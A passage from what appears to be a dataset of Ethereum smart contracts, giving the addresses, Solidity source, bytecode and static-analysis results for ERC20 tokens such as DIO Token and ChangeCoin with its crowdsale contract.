090205481565b60005433600160a060020a039081169116146106c257600080fd5b600160a060020a03808316600090815260056020526040808220805485019055600480548501905530909216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a381600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a0382166000908152600560205260408120548290101561079357600080fd5b600160a060020a03808416600090815260066020908152604080832033909416835292905220548211156107c657600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293905282902080548590039055600480548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60085481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105465780601f1061051b57610100808354040283529160200191610546565b6000600854348115156108d857fe5b0490506108e6303383610b8f565b50565b6108f4338383610b8f565b5050565b60096020526000908152604090205460ff1681565b60008361091a818561054e565b15610a375780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109d05780820151838201526020016109b8565b50505050905090810190601f1680156109fd5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610a1e57600080fd5b6102c65a03f11515610a2f57600080fd5b505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b6007548102600160a060020a033016311015610a7757600080fd5b610a82333083610b8f565b33600160a060020a03166108fc60075483029081150290604051600060405180830381858888f1935050505015156108e657600080fd5b60005433600160a060020a03908116911614610ad457600080fd5b600160a060020a03821660009081526009602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610b6057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610ba457600080fd5b600160a060020a03831660009081526005602052604090205481901015610bca57600080fd5b600160a060020a03821660009081526005602052604090205481810111610bf057600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610c1657600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610c3c57600080fd5b600160a060020a038084166000818152600560205260408082208054869003905592851680825290839020805485019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35050505600a165627a7a72305820283b2ce3e3c2c295898aee6311e65f2875e023e8358b695329701e39e7e63cea0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
2
0xef3288934A34AdCB5D31A9dA66aa44d56A2D4309
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract DioToken is BasicToken, MintableToken { /** * @dev Math operations with safety checks that throw on error */ using SafeMath for uint256; string public constant name = "DIO Token"; string public constant symbol = "DIO"; uint8 public constant decimals = 8; /** * @dev E8 represents the number 100000000, allowing easy multiplications between the minimal */ uint constant E8 = 10**8; function transfer( address _to, uint256 _value ) public onlyOwner returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public onlyOwner returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public onlyOwner returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public onlyOwner returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public onlyOwner returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610125578063095ea7b3146101b557806318160ddd1461021a57806323b872dd14610245578063313ce567146102ca57806340c10f19146102fb578063661884631461036057806370a08231146103c5578063715018a61461041c5780637d64bcb4146104335780638da5cb5b1461046257806395d89b41146104b9578063a9059cbb14610549578063d73dd623146105ae578063dd62ed3e14610613578063f2fde38b1461068a575b600080fd5b34801561010257600080fd5b5061010b6106cd565b604051808215151515815260200191505060405180910390f35b34801561013157600080fd5b5061013a6106e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c157600080fd5b50610200600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610789565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610793565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506102df610805565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030757600080fd5b50610346600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061080a565b604051808215151515815260200191505060405180910390f35b34801561036c57600080fd5b506103ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b3480156103d157600080fd5b50610406600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a60565b6040518082815260200191505060405180910390f35b34801561042857600080fd5b50610431610aa8565b005b34801561043f57600080fd5b50610448610bad565b604051808215151515815260200191505060405180910390f35b34801561046e57600080fd5b50610477610c75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c557600080fd5b506104ce610c9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561050e5780820151818401526020810190506104f3565b50505050905090810190601f16801561053b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055557600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd4565b604051808215151515815260200191505060405180910390f35b3480156105ba57600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d44565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b50610674600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db4565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b506106cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b005b600360149054906101000a900460ff1681565b6040805190810160405280600981526020017f44494f20546f6b656e000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077757600080fd5b6107818383610ea3565b905092915050565b6000600154905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107f157600080fd5b6107fc848484610f95565b90509392505050565b600881565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561086857600080fd5b600360149054906101000a900460ff1615151561088457600080fd5b6108998260015461134f90919063ffffffff16565b6001819055506108f0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4e57600080fd5b610a58838361136b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0b57600080fd5b600360149054906101000a900460ff16151515610c2757600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f44494f000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3257600080fd5b610d3c83836115fc565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da257600080fd5b610dac838361181b565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9757600080fd5b610ea081611a17565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fd257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561101f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110aa57600080fd5b6110fb826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061125f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561136257fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561147c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611510565b61148f8382611b1390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561163957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561168657600080fd5b6116d7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006118ac82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a5357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611b2157fe5b8183039050929150505600a165627a7a723058205de727189215c7e0ae16889db71bcd1df36ea2fef57c3ae97d9387145ebfa9050029
{"success": true, "error": null, "results": {}}
3
0x4ebbead673d51a82b4387e5f9dbdfb8efc1c9c7b
pragma solidity ^0.4.16; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(0X0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ChangeCoin is MintableToken { string public name = "Change COIN"; string public symbol = "CAG"; uint256 public decimals = 18; bool public tradingStarted = false; /** * @dev modifier that throws if trading has not started yet */ modifier hasStartedTrading() { require(tradingStarted); _; } /** * @dev Allows the owner to enable the trading. This can not be undone */ function startTrading() onlyOwner { tradingStarted = true; } /** * @dev Allows anyone to transfer the Change tokens once trading has started * @param _to the recipient address of the tokens. * @param _value number of tokens to be transfered. */ function transfer(address _to, uint _value) hasStartedTrading returns (bool){ return super.transfer(_to, _value); } /** * @dev Allows anyone to transfer the Change tokens once trading has started * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) hasStartedTrading returns (bool){ return super.transferFrom(_from, _to, _value); } } contract ChangeCoinCrowdsale is Ownable { using SafeMath for uint256; // The token being sold ChangeCoin public token; // start and end block where investments are allowed (both inclusive) uint256 public startTimestamp; uint256 public endTimestamp; // address where funds are collected address public hardwareWallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; uint256 public minContribution; uint256 public hardcap; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event MainSaleClosed(); uint256 public raisedInPresale = 36670.280302936701463815 ether; function ChangeCoinCrowdsale() { startTimestamp = 1508160600; endTimestamp = 1508162400; rate = 500; hardwareWallet = 0x71B1Ee0848c4F68df05429490fc4237089692e1e; token = ChangeCoin(0x7d4b8Cce0591C9044a22ee543533b72E976E36C3); minContribution = 0.49 ether; hardcap = 200000 ether; require(startTimestamp >= now); require(endTimestamp 